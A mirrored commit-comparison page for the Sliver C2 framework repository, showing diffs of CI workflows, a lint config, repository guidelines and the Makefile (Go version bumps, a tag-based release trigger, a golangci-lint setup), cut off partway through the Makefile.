mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
344
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
069d57b5e5 | ||
|
|
e023211c02 | ||
|
|
a48006640d | ||
|
|
764fd0eddf | ||
|
|
db45c4aaf9 | ||
|
|
198913d6f8 | ||
|
|
cd85824185 | ||
|
|
63797ac79c | ||
|
|
4633409623 | ||
|
|
13c2d33449 | ||
|
|
8cf478d7b0 | ||
|
|
f55215ff93 | ||
|
|
a32d81252c | ||
|
|
a1537535c4 | ||
|
|
61dd34e989 | ||
|
|
2b67cb917b | ||
|
|
ceead92ec5 | ||
|
|
df9ed94635 | ||
|
|
e891613f6f | ||
|
|
f60a0e91d3 | ||
|
|
2308314529 | ||
|
|
04bc82bca3 | ||
|
|
acdfa33231 | ||
|
|
a03592de81 | ||
|
|
5cf9d088e8 | ||
|
|
db3294b926 | ||
|
|
1847b8c24b | ||
|
|
79e4259081 | ||
|
|
9ff9b55352 | ||
|
|
9767e24edd | ||
|
|
bb572f3846 | ||
|
|
01c5b5cee4 | ||
|
|
1049dc4a98 | ||
|
|
d1b0ba13c4 | ||
|
|
2d98f14149 | ||
|
|
19e82064b1 | ||
|
|
3b72374685 | ||
|
|
20fb8c4975 | ||
|
|
68829c0a40 | ||
|
|
2c18062f4d | ||
|
|
f17ce0afbe | ||
|
|
116b12885c | ||
|
|
3d9860db6c | ||
|
|
1a6579e954 | ||
|
|
2659d848d7 | ||
|
|
df6571f63f | ||
|
|
aab1470e08 | ||
|
|
19d43fdc37 | ||
|
|
3b09e5ea80 | ||
|
|
b904d29b25 | ||
|
|
8e2b069a7d | ||
|
|
096c418d27 | ||
|
|
d9e241ccb5 | ||
|
|
086da95525 | ||
|
|
27ed557e55 | ||
|
|
af7c823508 | ||
|
|
f2a3d8ee6d | ||
|
|
de7215d2c0 | ||
|
|
2d555b16d9 | ||
|
|
597a2571fc | ||
|
|
409b4c8fdb | ||
|
|
2e72bc96b9 | ||
|
|
fa9557348e | ||
|
|
4768e36074 | ||
|
|
e53f66de72 | ||
|
|
1d33b89ec5 | ||
|
|
7b0f420290 | ||
|
|
00824d1b83 | ||
|
|
99ad05b7b7 | ||
|
|
80273462bd | ||
|
|
2cdefc7369 | ||
|
|
80c752a422 | ||
|
|
8a8a9dc498 | ||
|
|
5f8540b3c4 | ||
|
|
4eef868047 | ||
|
|
5ebfecd822 | ||
|
|
9762560228 | ||
|
|
6310c7d6a0 | ||
|
|
fafe360672 | ||
|
|
d9b6f41940 | ||
|
|
f1ccf0eac3 | ||
|
|
d2aa924bc4 | ||
|
|
46861cd428 | ||
|
|
1c1825f8f0 | ||
|
|
a943995040 | ||
|
|
f0d2a2cf24 | ||
|
|
27ac612c82 | ||
|
|
baedb563f3 | ||
|
|
45c7914602 | ||
|
|
92d85cb8ff | ||
|
|
f5e831844a | ||
|
|
ab2fc7dc4a | ||
|
|
5e377019e4 | ||
|
|
88a4bebca0 | ||
|
|
2daccb5bd3 | ||
|
|
e2a009d4ac | ||
|
|
eda51f826a | ||
|
|
f83dc42a64 | ||
|
|
17e8c996a6 | ||
|
|
2b667f0e7e | ||
|
|
73bcf40bfd | ||
|
|
b635adcb3c | ||
|
|
2b92397e07 | ||
|
|
c23067a0e0 | ||
|
|
3aefc39c08 | ||
|
|
abd8c83df8 | ||
|
|
6cce9426f2 | ||
|
|
2e742863a1 | ||
|
|
dc13a5bb93 | ||
|
|
1f2946eb87 | ||
|
|
5eeda4c02b | ||
|
|
55a3386313 | ||
|
|
b34589a002 | ||
|
|
4486b17b49 | ||
|
|
377ee5ca7c | ||
|
|
4765f40854 | ||
|
|
e239d85821 | ||
|
|
dec419b284 | ||
|
|
6d51a23cc9 | ||
|
|
3d6eec47be | ||
|
|
464fb7008c | ||
|
|
ffa5f89f5f | ||
|
|
f19cbdc957 | ||
|
|
83bfc8d8e6 | ||
|
|
365bb3596e | ||
|
|
9ee96c2ce6 | ||
|
|
e776e266d0 | ||
|
|
d080c8a646 | ||
|
|
cb6402245e | ||
|
|
e4357277ec | ||
|
|
5dc2ab1490 | ||
|
|
9f034a9956 | ||
|
|
f700535997 | ||
|
|
31bca034d8 | ||
|
|
fac4ad5fb7 | ||
|
|
c128d33514 | ||
|
|
4a37262bcf | ||
|
|
a2295112bd | ||
|
|
834dff0f6e | ||
|
|
f4a0431fdd | ||
|
|
d072b328c0 | ||
|
|
435bbcbd7e | ||
|
|
84dc28e584 | ||
|
|
639592cb02 | ||
|
|
8c7a1a6b40 | ||
|
|
06274c4061 | ||
|
|
593925b4a5 | ||
|
|
255477e572 | ||
|
|
0acc6911d8 | ||
|
|
4ca026906b | ||
|
|
97a249e28e | ||
|
|
9f331687d3 | ||
|
|
14d68d6fcd | ||
|
|
05c5334fea | ||
|
|
d277a14c57 | ||
|
|
a7b5dbe6ee | ||
|
|
c188dc1e69 | ||
|
|
9fc9d1762e | ||
|
|
4ef86448d0 | ||
|
|
02117a6072 | ||
|
|
c272c8abac | ||
|
|
cdf2412b39 | ||
|
|
40f52791d3 | ||
|
|
a5d8bd16b9 | ||
|
|
bf113f2151 | ||
|
|
4cd010afb9 | ||
|
|
04b0bdd199 | ||
|
|
9682db93b3 | ||
|
|
1d7ffb4ac2 | ||
|
|
c5e7cd6354 | ||
|
|
b20ba7284b | ||
|
|
49498210f8 | ||
|
|
14e9121302 | ||
|
|
8bd0257dd9 | ||
|
|
93fdfb3add | ||
|
|
e02b03cc70 | ||
|
|
6831fe50a6 | ||
|
|
405108866d | ||
|
|
4d551b71e7 | ||
|
|
a7edd9838d | ||
|
|
9ef54ca6b1 | ||
|
|
4622c50288 | ||
|
|
b1ee0355af | ||
|
|
01d9b213f2 | ||
|
|
f56886bce5 | ||
|
|
88176dfd00 | ||
|
|
45dc3ea09b | ||
|
|
682b3c2409 | ||
|
|
3a93f312b4 | ||
|
|
2ca95f7a7c | ||
|
|
d2319432ab | ||
|
|
253f1a8806 | ||
|
|
2c025d5970 | ||
|
|
f0034683f9 | ||
|
|
8e8398b654 | ||
|
|
aa02293f05 | ||
|
|
f967a32308 | ||
|
|
99ec812455 | ||
|
|
eeef542eeb | ||
|
|
6d7a10b392 | ||
|
|
ca40c0a1e7 | ||
|
|
4a5ad6ea92 | ||
|
|
266dabf6c3 | ||
|
|
a4c8968539 | ||
|
|
613c030ea3 | ||
|
|
9f6bfb6714 | ||
|
|
a764814a8e | ||
|
|
0c9ce138a0 | ||
|
|
6c1dcf6a06 | ||
|
|
fffe93819d | ||
|
|
635ee421e3 | ||
|
|
3ce6d69474 | ||
|
|
cd523c7f77 | ||
|
|
1f1b759914 | ||
|
|
b78915fcbd | ||
|
|
fa0e13a5cc | ||
|
|
924bcddfd2 | ||
|
|
affbf61452 | ||
|
|
7c6b2f70e4 | ||
|
|
c46f2938de | ||
|
|
b355fe70d6 | ||
|
|
10b1079286 | ||
|
|
9c042e6977 | ||
|
|
62583cac8f | ||
|
|
95764945b8 | ||
|
|
26abda1c15 | ||
|
|
01dd3cac72 | ||
|
|
f8faa1f767 | ||
|
|
a9e48e84cd | ||
|
|
9d6704d925 | ||
|
|
ce5157e2e9 | ||
|
|
7d19051df8 | ||
|
|
a0d3bd579f | ||
|
|
82c309632a | ||
|
|
5c0b8ec460 | ||
|
|
7791a86eb4 | ||
|
|
7ac4db3fa0 | ||
|
|
512bc822ef | ||
|
|
f2bb9c3733 | ||
|
|
0bd4f100fd | ||
|
|
3230322fd6 | ||
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d | ||
|
|
6333e0691a | ||
|
|
3bbaf80510 | ||
|
|
25726d8105 | ||
|
|
67e9a7f37f | ||
|
|
a5b6935da6 | ||
|
|
2e36f45bdf | ||
|
|
3e06a9d5ee | ||
|
|
952b2df49d | ||
|
|
9769f1bb57 | ||
|
|
f5f2c80ad3 | ||
|
|
bb2edf63cf | ||
|
|
cd711afe8a | ||
|
|
f9bbbb34bb | ||
|
|
64b91c56c0 | ||
|
|
a6c7867a26 | ||
|
|
7f25c3bb06 | ||
|
|
153cf29551 | ||
|
|
b85161e797 | ||
|
|
ed906fcffe | ||
|
|
3bbcf5697a | ||
|
|
4a425d2fd6 | ||
|
|
d0f752e118 | ||
|
|
7167621577 | ||
|
|
c3582fc203 | ||
|
|
07c95b203f | ||
|
|
958e44deef | ||
|
|
836395a2d6 | ||
|
|
1a7a1c9b2d | ||
|
|
4ba285796f | ||
|
|
a05dfad100 | ||
|
|
0eb29ad9b8 | ||
|
|
ad8b329f85 | ||
|
|
c6206257b6 | ||
|
|
8bbf06c156 | ||
|
|
4d4eab998f | ||
|
|
c081f17380 | ||
|
|
fafbac3fa6 | ||
|
|
d9c89c81cf | ||
|
|
061221905b | ||
|
|
d0600e2be7 | ||
|
|
26abbe3860 | ||
|
|
55a386ae1c | ||
|
|
2bfdb218ff | ||
|
|
715b84e799 | ||
|
|
faea2ff639 | ||
|
|
1b253f8dec | ||
|
|
eb38724322 | ||
|
|
05dedf4473 | ||
|
|
28c6b82a79 | ||
|
|
1f553496e3 | ||
|
|
cd5db464e0 | ||
|
|
0bf0ac6c7b | ||
|
|
0cf5a47cfd | ||
|
|
8d6759924b | ||
|
|
8d5dbd2050 | ||
|
|
804e149113 | ||
|
|
9ced4cfd50 | ||
|
|
c8be5a5b1b | ||
|
|
b7abf98c95 | ||
|
|
918ac1bb91 | ||
|
|
1e57818312 | ||
|
|
c44c14dd46 | ||
|
|
35f41cd62d | ||
|
|
4eff1cc053 | ||
|
|
16981da431 | ||
|
|
3830c76292 | ||
|
|
73de93d6fb | ||
|
|
c7770c2f6e | ||
|
|
21db908ce4 | ||
|
|
b7b0247652 | ||
|
|
3dc7dc03d0 | ||
|
|
229452d7ed | ||
|
|
d29ce9a08b | ||
|
|
46f2b2b402 | ||
|
|
6ee2006387 | ||
|
|
2fd13ee2bc | ||
|
|
2697568336 | ||
|
|
5013048b0b | ||
|
|
627b15572c | ||
|
|
42c40c9b8d | ||
|
|
405b282fed | ||
|
|
e32cd36e01 | ||
|
|
492a2aeed6 | ||
|
|
d6dafb0391 | ||
|
|
49a1bcfd7d | ||
|
|
a8d1bf6fb1 | ||
|
|
2f386b7e09 | ||
|
|
d7dce58397 | ||
|
|
15114138a8 | ||
|
|
2716090410 | ||
|
|
a805161245 | ||
|
|
afd57891cd | ||
|
|
bdf4a6ed0d |
No files matched your search
+1
-1
@@ -1 +1 @@
|
|||||||
* @BishopFox/red-team
|
* @BishopFox/bf-red-team
|
||||||
@@ -2,8 +2,8 @@ name: Release
|
|||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
branches:
|
tags:
|
||||||
- master
|
- "v*.*.*"
|
||||||
|
|
||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
@@ -21,11 +21,22 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
|
|
||||||
- name: Find Semver Tag
|
- name: Validate Release Tag
|
||||||
id: tag
|
id: tag
|
||||||
run: |
|
run: |
|
||||||
git fetch --prune --tags -f
|
git fetch --prune --tags -f origin
|
||||||
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
|
tag="${GITHUB_REF_NAME}"
|
||||||
|
|
||||||
|
if ! printf '%s\n' "$tag" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+$'; then
|
||||||
|
echo "Tag $tag is not a release semver tag."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! git merge-base --is-ancestor "$GITHUB_SHA" "origin/master"; then
|
||||||
|
echo "Tag $tag does not point to a commit on origin/master."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
release:
|
release:
|
||||||
@@ -41,10 +52,10 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
|
|
||||||
- name: Go 1.25
|
- name: Go 1.26.6
|
||||||
uses: actions/setup-go@v6
|
uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: "1.25.6"
|
go-version: "1.26.6"
|
||||||
|
|
||||||
- name: Install Minisign
|
- name: Install Minisign
|
||||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||||
|
|||||||
@@ -16,10 +16,10 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
# Setup go environment
|
# Setup go environment
|
||||||
- name: Go 1.25
|
- name: Go 1.26.6
|
||||||
uses: actions/setup-go@v6
|
uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: "1.25.6"
|
go-version: "1.26.6"
|
||||||
|
|
||||||
- name: Checkout repository
|
- name: Checkout repository
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v6
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
name: golangci-lint
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
pull_request:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
paths:
|
||||||
|
- ".golangci.yml"
|
||||||
|
- ".github/workflows/golangci-lint.yml"
|
||||||
|
- "go.mod"
|
||||||
|
- "go.sum"
|
||||||
|
- "go.work"
|
||||||
|
- "go.work.sum"
|
||||||
|
- "Makefile"
|
||||||
|
- "vendor/**"
|
||||||
|
- "**/*.go"
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
pull-requests: read
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
lint:
|
||||||
|
name: golangci-lint (${{ matrix.goos }})
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 30
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
goos:
|
||||||
|
- linux
|
||||||
|
- darwin
|
||||||
|
- windows
|
||||||
|
env:
|
||||||
|
GOOS: ${{ matrix.goos }}
|
||||||
|
GOARCH: amd64
|
||||||
|
CGO_ENABLED: "0"
|
||||||
|
steps:
|
||||||
|
- name: Check Out Code
|
||||||
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
|
- name: Go 1.26.6
|
||||||
|
uses: actions/setup-go@v6
|
||||||
|
with:
|
||||||
|
go-version: "1.26.6"
|
||||||
|
|
||||||
|
- name: Run golangci-lint
|
||||||
|
uses: golangci/golangci-lint-action@v9
|
||||||
|
with:
|
||||||
|
version: v2.12.2
|
||||||
|
# Keep legacy findings visible without making them blockers.
|
||||||
|
only-new-issues: true
|
||||||
|
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||||
@@ -6,11 +6,13 @@ on:
|
|||||||
paths:
|
paths:
|
||||||
- "go.mod"
|
- "go.mod"
|
||||||
- "go.sum"
|
- "go.sum"
|
||||||
|
- ".github/workflows/unit-tests.yml"
|
||||||
- "Makefile"
|
- "Makefile"
|
||||||
- "**/*.go"
|
- "**/*.go"
|
||||||
- "**/*.c"
|
- "**/*.c"
|
||||||
- "**/*.h"
|
- "**/*.h"
|
||||||
- "**/*.sh"
|
- "**/*.sh"
|
||||||
|
- "**/*.ps1"
|
||||||
types:
|
types:
|
||||||
- opened
|
- opened
|
||||||
- reopened
|
- reopened
|
||||||
@@ -18,15 +20,15 @@ on:
|
|||||||
- ready_for_review
|
- ready_for_review
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
linux-windows-build-test:
|
linux-build-test:
|
||||||
name: Linux & Windows Test
|
name: Linux Build & Test
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 180
|
timeout-minutes: 180
|
||||||
steps:
|
steps:
|
||||||
- name: Go 1.25
|
- name: Go 1.26.6
|
||||||
uses: actions/setup-go@v6
|
uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: "1.25.6"
|
go-version: "1.26.6"
|
||||||
|
|
||||||
- name: OS Packages
|
- name: OS Packages
|
||||||
run: |
|
run: |
|
||||||
@@ -64,16 +66,59 @@ jobs:
|
|||||||
- name: Test Linux
|
- name: Test Linux
|
||||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||||
|
|
||||||
|
windows-build-test:
|
||||||
|
name: Windows Build & Test
|
||||||
|
runs-on: windows-latest
|
||||||
|
timeout-minutes: 180
|
||||||
|
steps:
|
||||||
|
- name: Go 1.26.6
|
||||||
|
uses: actions/setup-go@v6
|
||||||
|
with:
|
||||||
|
go-version: "1.26.6"
|
||||||
|
|
||||||
|
- name: Install make
|
||||||
|
run: choco install make -y --no-progress
|
||||||
|
|
||||||
|
- name: Check Out Code
|
||||||
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
|
- name: Git Fetch Tags
|
||||||
|
run: git fetch --prune --unshallow --tags -f
|
||||||
|
|
||||||
|
- name: Make Windows (amd64)
|
||||||
|
run: make windows-amd64
|
||||||
|
|
||||||
|
- name: Determine go-tests flags
|
||||||
|
id: go-tests-flags
|
||||||
|
shell: pwsh
|
||||||
|
run: |
|
||||||
|
$baseSha = "${{ github.event.pull_request.base.sha }}"
|
||||||
|
$headSha = "${{ github.sha }}"
|
||||||
|
$changedFiles = git diff --name-only $baseSha $headSha
|
||||||
|
|
||||||
|
if ($changedFiles | Select-String -Pattern '^(implant/|server/gogo/|server/generate/)') {
|
||||||
|
"args=" | Out-File -FilePath $env:GITHUB_OUTPUT -Encoding utf8 -Append
|
||||||
|
} else {
|
||||||
|
"args=--skip-generate" | Out-File -FilePath $env:GITHUB_OUTPUT -Encoding utf8 -Append
|
||||||
|
}
|
||||||
|
|
||||||
|
- name: Test Windows
|
||||||
|
shell: pwsh
|
||||||
|
run: |
|
||||||
|
make clean
|
||||||
|
make
|
||||||
|
./go-tests.ps1 ${{ steps.go-tests-flags.outputs.args }}
|
||||||
|
|
||||||
|
|
||||||
macos-build-test:
|
macos-build-test:
|
||||||
name: MacOS Test
|
name: MacOS Test
|
||||||
runs-on: macos-latest
|
runs-on: macos-latest
|
||||||
timeout-minutes: 180
|
timeout-minutes: 180
|
||||||
steps:
|
steps:
|
||||||
- name: Go 1.25
|
- name: Go 1.26.6
|
||||||
uses: actions/setup-go@v6
|
uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: "1.25.6"
|
go-version: "1.26.6"
|
||||||
|
|
||||||
- name: Check Out Code
|
- name: Check Out Code
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v6
|
||||||
@@ -108,10 +153,10 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 90
|
timeout-minutes: 90
|
||||||
steps:
|
steps:
|
||||||
- name: Go 1.25
|
- name: Go 1.26.6
|
||||||
uses: actions/setup-go@v6
|
uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: "1.25.6"
|
go-version: "1.26.6"
|
||||||
|
|
||||||
- name: Check Out Code
|
- name: Check Out Code
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v6
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
/crush
|
||||||
|
|
||||||
|
/examples
|
||||||
|
|
||||||
|
/.vscode
|
||||||
/.vscode/*
|
/.vscode/*
|
||||||
/.devcontainer
|
/.devcontainer
|
||||||
/.idea
|
/.idea
|
||||||
|
|||||||
@@ -0,0 +1,27 @@
|
|||||||
|
version: "2"
|
||||||
|
|
||||||
|
run:
|
||||||
|
timeout: 10m
|
||||||
|
modules-download-mode: vendor
|
||||||
|
build-tags:
|
||||||
|
- client
|
||||||
|
- server
|
||||||
|
- osusergo
|
||||||
|
- netgo
|
||||||
|
- go_sqlite
|
||||||
|
# Raw implant entry points are Go templates; lint their supporting packages.
|
||||||
|
- sliver_lint
|
||||||
|
|
||||||
|
linters:
|
||||||
|
default: standard
|
||||||
|
enable:
|
||||||
|
- gocyclo
|
||||||
|
- misspell
|
||||||
|
- revive
|
||||||
|
settings:
|
||||||
|
gocyclo:
|
||||||
|
min-complexity: 15
|
||||||
|
|
||||||
|
formatters:
|
||||||
|
enable:
|
||||||
|
- gofmt
|
||||||
@@ -1,41 +1,18 @@
|
|||||||
# Repository Guidelines
|
# Repository Guidelines
|
||||||
|
|
||||||
## Project Structure & Module Organization
|
|
||||||
- `client/` holds the CLI client and interactive commands.
|
|
||||||
- `server/` contains the server runtime, C2 logic, configs, and web assets.
|
|
||||||
- `implant/` is the implant runtime and transport implementations.
|
|
||||||
- `protobuf/` stores protobuf definitions and generated Go types.
|
|
||||||
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
|
|
||||||
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
|
|
||||||
- `vendor/` is the vendored Go dependency tree used by builds.
|
|
||||||
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
|
|
||||||
|
|
||||||
## Build, Test, and Development Commands
|
## Build, Test, and Development Commands
|
||||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
- `./go-tests.sh` runs the Go test suite, this is the only way you should run unit tests.
|
||||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||||
- Go toolchain: the Makefile enforces Go >= 1.24.
|
|
||||||
|
|
||||||
## Coding Style & Naming Conventions
|
## Coding Style & Naming Conventions
|
||||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||||
- Do not import `server` packages from `client`.
|
- Do not import `server` packages from `client`.
|
||||||
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
|
|
||||||
|
|
||||||
## Testing Guidelines
|
## Testing Guidelines
|
||||||
- Go tests follow standard `_test.go` naming within each package.
|
|
||||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||||
|
|
||||||
## Commit & Pull Request Guidelines
|
|
||||||
- Commits must be signed for PRs to `master`; work in a feature branch.
|
|
||||||
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
|
|
||||||
- Changes to `vendor/` should be in a distinct commit.
|
|
||||||
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
|
|
||||||
|
|
||||||
## Security Notes
|
|
||||||
- Default to secure configuration; fail closed rather than open.
|
|
||||||
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
|
|
||||||
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
|
|
||||||
@@ -2,31 +2,31 @@
|
|||||||
# Makefile for Sliver
|
# Makefile for Sliver
|
||||||
#
|
#
|
||||||
|
|
||||||
|
.DEFAULT_GOAL := default
|
||||||
|
|
||||||
GO ?= go
|
GO ?= go
|
||||||
ARTIFACT_SUFFIX ?=
|
ARTIFACT_SUFFIX ?=
|
||||||
ENV =
|
ENV =
|
||||||
TAGS ?= -tags go_sqlite
|
TAGS ?= -tags go_sqlite
|
||||||
CGO_ENABLED = 0
|
CGO_ENABLED = 0
|
||||||
|
GOLANGCI_LINT ?= golangci-lint
|
||||||
|
# The tree has legacy lint findings, so gate issues introduced by this change.
|
||||||
|
GOLANGCI_LINT_BASE ?= master
|
||||||
|
GOLANGCI_LINT_ARGS ?= --new-from-merge-base=$(GOLANGCI_LINT_BASE)
|
||||||
|
GOLANGCI_LINT_PACKAGES = \
|
||||||
|
./client/... \
|
||||||
|
./server/... \
|
||||||
|
./util/... \
|
||||||
|
./protobuf/... \
|
||||||
|
./docs \
|
||||||
|
./implant/...
|
||||||
|
|
||||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||||
CGO_ENABLED = 1
|
CGO_ENABLED = 1
|
||||||
endif
|
endif
|
||||||
|
|
||||||
#
|
|
||||||
# Prerequisites
|
|
||||||
#
|
|
||||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
|
||||||
EXECUTABLES = uname sed git date cut $(GO)
|
|
||||||
K := $(foreach exec,$(EXECUTABLES),\
|
|
||||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
|
||||||
|
|
||||||
#
|
|
||||||
# Build Information
|
|
||||||
#
|
|
||||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
|
||||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
|
||||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
MIN_SUPPORTED_GO_MINOR_VERSION = 26
|
||||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||||
|
|
||||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||||
@@ -34,151 +34,298 @@ ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
|||||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||||
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
|
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
|
||||||
|
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||||
|
|
||||||
|
.PHONY: lint
|
||||||
|
lint:
|
||||||
|
$(GOLANGCI_LINT) run $(GOLANGCI_LINT_ARGS) $(GOLANGCI_LINT_PACKAGES)
|
||||||
|
|
||||||
|
ifneq ($(OS),Windows_NT)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Prerequisites
|
||||||
|
#
|
||||||
|
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||||
|
EXECUTABLES = uname sed git date cut $(GO)
|
||||||
|
K := $(foreach exec,$(EXECUTABLES),\
|
||||||
|
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||||
|
|
||||||
|
#
|
||||||
|
# Build Information
|
||||||
|
#
|
||||||
|
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||||
|
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||||
|
|
||||||
LDFLAGS = -ldflags "-s -w \
|
LDFLAGS = -ldflags "-s -w \
|
||||||
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \
|
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \
|
||||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
|
|
||||||
# Debug builds shouldn't be stripped (-s -w flags)
|
# Debug builds shouldn't be stripped (-s -w flags)
|
||||||
